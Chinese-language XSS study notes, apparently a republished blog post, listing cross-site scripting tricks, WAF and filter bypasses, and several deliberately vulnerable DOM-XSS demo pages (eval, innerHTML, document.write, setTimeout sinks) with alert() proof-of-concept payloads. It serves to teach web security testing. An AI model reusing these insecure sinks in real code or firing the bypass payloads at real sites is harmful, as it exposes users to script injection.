内容简介:地址:参考wp:小记:
参考wp: https://xz.aliyun.com/t/1206
小记:
-
<input>
标签里面可触发alert的事件oninput
和onchange
-
<a>
href的javascript<a href="javascript:alert(/1/)">axxx</a>
-
有waf过滤时,多查看源码,看看payload发生了什么变化
常用绕过方式 双写绕过 大小写绕过
-
协议绕过
-
Javascript:伪协议后面可以使用URL编码。 如:<a href="javas%09cript:alert(1)">click me</a>可成功执行弹窗。 可用img就不行:<img src=1 onerror="javas%09cript:alert(1)"> 因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码: %09 --> TAB %0d --> 回车 %0a --> 空格
html标签不区分大小写,但是javascript区分大小写
<iMg sRc=x onError=alert(1)> 弹窗 <iMg sRc=x onError=aLert(1)> 不弹窗
-
referer和User-Agent和xff cookie等也可能造成XSS(当这些信息会输出到页面时)
-
angularjs的ng-include 加载外面html导致的XSS
?src='level1.php?name=test<img src=1 onerror=alert(1)>'
-
flash xss
flash xss可使用JPEXS 对下载的flash进行逆向分析,找到关键函数
Flash xss检测脚本的简单实现 https://www.freebuf.com/sectool/108568.html
dom-xss
一个简单的demo
test.html
<html> <head> <meta charset="utf-8"> <title>XSSdemo</title> </head> <script> eval(location.hash.substr(1)); </script> <body> test </body> </html>
payload
xxxxx/test.html#alert(1);
分析
location.hash.substr(1)
提取出来的是
alert(1)
eval执行了alert(1),从而引发了xss
几种常见的dom型xss
使用document.write直接输出导致浏览器解析恶意代码
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } document.write("url: <a href='"+url+"'>"+url+"</a>"); //输出 </script> </head> <body> </body> </html>
payload
xxx/test.html?url=javascript:alert(1)
使用innerHTML直接输出导致浏览器解析恶意代码
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script> </head> <body> <span id='test'><a href=""></a></span> <script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href='"+url+"'>"+url+"</a>"; </script> </body> </html>
payload
xxx/test.html?url=javascript:alert(1)
使用location/location.href/location.replace/iframe.src造成的XSS
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 // }else{ //此处注释掉 // url="url参数为空"; //此处注释掉 } </script> </head> <body> <span id='test'><a href=""></a></span> <script type="text/javascript">location.href=url</script> </body> </html>
使用setTimeout/setInterval造成的XSS
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script type="text/javascript"> var s=location.search; //返回URL中的查询部分(?之后的内容) s=s.substring(1,s.length); //返回整个查询内容 var url=""; //定义变量url if(s.indexOf("url=")>-1){ //判断URL是否为空 var pos=s.indexOf("url=")+4; //过滤掉"url="字符 url=s.substring(pos,s.length); //得到地址栏里的url参数 }else{ url="url参数为空"; } </script> </head> <body> <textarea id="test" rows="8" cols="40">2s获取url</textarea> <script type="text/javascript"> function showURL(url){ document.getElementById('test').value=url; } if(url!="url参数为空") setTimeout("showURL('"+url+"')",2000); //setInterval("showURL('"+url+"')",3000); </script> </body> </html>
payload
test.html?url=aa');alert('xsstest');eval('
setTimeout变成
setTimeout(“showURL(‘“‘);alert(‘xsstest’);eval(‘+url+”‘)”,2000);
火狐下会自动对参数传输进行url编码
导致xss失败
输出为aa%27);alert(%27xsstest%27);eval(%27
edge下有效
dom-xss实例
色块XSS
test.htm
<script type="text/javascript"> varname = location.search.substr(1); var varnames = varname.split('|'); varname = varnames[0]; varnamev = varnames[1]; fun = varnames[2] || ''; var colors = '\ 000000#000000#000033#000066#000099#0000CC#0000FF#003300#003333#003366#003399#0033CC#0033FF#006600#006633#006666#006699#0066CC#0066FF#\ 333333#009900#009933#009966#009999#0099CC#0099FF#00CC00#00CC33#00CC66#00CC99#00CCCC#00CCFF#00FF00#00FF33#00FF66#00FF99#00FFCC#00FFFF#\ 666666#330000#330033#330066#330099#3300CC#3300FF#333300#333333#333366#333399#3333CC#3333FF#336600#336633#336666#336699#3366CC#3366FF#\ 999999#339900#339933#339966#339999#3399CC#3399FF#33CC00#33CC33#33CC66#33CC99#33CCCC#33CCFF#33FF00#33FF33#33FF66#33FF99#33FFCC#33FFFF#\ CCCCCC#660000#660033#660066#660099#6600CC#6600FF#663300#663333#663366#663399#6633CC#6633FF#666600#666633#666666#666699#6666CC#6666FF#\ FFFFFF#669900#669933#669966#669999#6699CC#6699FF#66CC00#66CC33#66CC66#66CC99#66CCCC#66CCFF#66FF00#66FF33#66FF66#66FF99#66FFCC#66FFFF#\ FF0000#990000#990033#990066#990099#9900CC#9900FF#993300#993333#993366#993399#9933CC#9933FF#996600#996633#996666#996699#9966CC#9966FF#\ 00FF00#999900#999933#999966#999999#9999CC#9999FF#99CC00#99CC33#99CC66#99CC99#99CCCC#99CCFF#99FF00#99FF33#99FF66#99FF99#99FFCC#99FFFF#\ 0000FF#CC0000#CC0033#CC0066#CC0099#CC00CC#CC00FF#CC3300#CC3333#CC3366#CC3399#CC33CC#CC33FF#CC6600#CC6633#CC6666#CC6699#CC66CC#CC66FF#\ FFFF00#CC9900#CC9933#CC9966#CC9999#CC99CC#CC99FF#CCCC00#CCCC33#CCCC66#CCCC99#CCCCCC#CCCCFF#CCFF00#CCFF33#CCFF66#CCFF99#CCFFCC#CCFFFF#\ 00FFFF#FF0000#FF0033#FF0066#FF0099#FF00CC#FF00FF#FF3300#FF3333#FF3366#FF3399#FF33CC#FF33FF#FF6600#FF6633#FF6666#FF6699#FF66CC#FF66FF#\ FF00FF#FF9900#FF9933#FF9966#FF9999#FF99CC#FF99FF#FFCC00#FFCC33#FFCC66#FFCC99#FFCCCC#FFCCFF#FFFF00#FFFF33#FFFF66#FFFF99#FFFFCC#FFFFFF'; var colorarray = colors.split('#'); var setv = ''; function showcolors() { var s = ''; for(c in colorarray) { s += '<em onmouseover="v(\'' + colorarray[c] + '\')" style="background-color:#' + colorarray[c] + '"></em>'; } document.getElementById('colors').innerHTML = s; } function setvalue(obj) { if(varname) { parent.$(varname).style.backgroundColor = setv; } if(varnamev) { parent.$(varnamev).value = setv; } if(fun) eval('parent.'+fun+'("'+setv+'")'); } function v(v) { v = v != 'transparent' ? '#' + v : 'transparent'; document.getElementById('p').style.backgroundColor = v; setv = v; document.getElementById('pv').innerHTML = v; } </script> <style> body { margin:0px;background-color:#333; } #h { padding:0;width:210px;height:15px;background-color:#CCC;overflow:hidden;} #p { margin:0;display:block;float:left;font-size:0;width:140px;height:13px;background:#DDF0DF; } #pv { margin:0;display:block;float:left;font-size:12px;width:58px;height:13px;overflow:hidden;text-align: right;font-style:normal;background:#DDF0DF; } #colors { clear:both;width:209px; height:133px; } #colors em, .trans { font-size:0;margin:1px 0 0 1px;width:10px;height:10px;float:left;cursor:pointer; } .trans { background-color: #FFF; } </style> <body onmousedown="setvalue(document.getElementById('colorhex'))" scrolling="no"> <div id="h"><em id="p"></em><em id="pv"></em><em class="trans" onmouseover="v('transparent')" style="background-image:url('transcolor.gif')"></em></div> <div id="colors"></div> <script type="text/javascript"> showcolors(); try {document.getElementById('box').style.backgroundColor = cvalue;} catch(e) {} </script> </body>
payload
test.htm?||alert(/xss/)
这里是由于fun变量没有过滤导致的
fun = varnames[2] || ''; 这里fun等于alert(/xss/)
eval函数执行 parent.alert(/xss/) 触发xss
if(fun) eval('parent.'+fun+'("'+setv+'")'); }
以上所述就是小编给大家介绍的《XSS学习小记》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Game Programming Patterns
Robert Nystrom / Genever Benning / 2014-11-2 / USD 39.95
The biggest challenge facing many game programmers is completing their game. Most game projects fizzle out, overwhelmed by the complexity of their own code. Game Programming Patterns tackles that exac......一起来看看 《Game Programming Patterns》 这本书的介绍吧!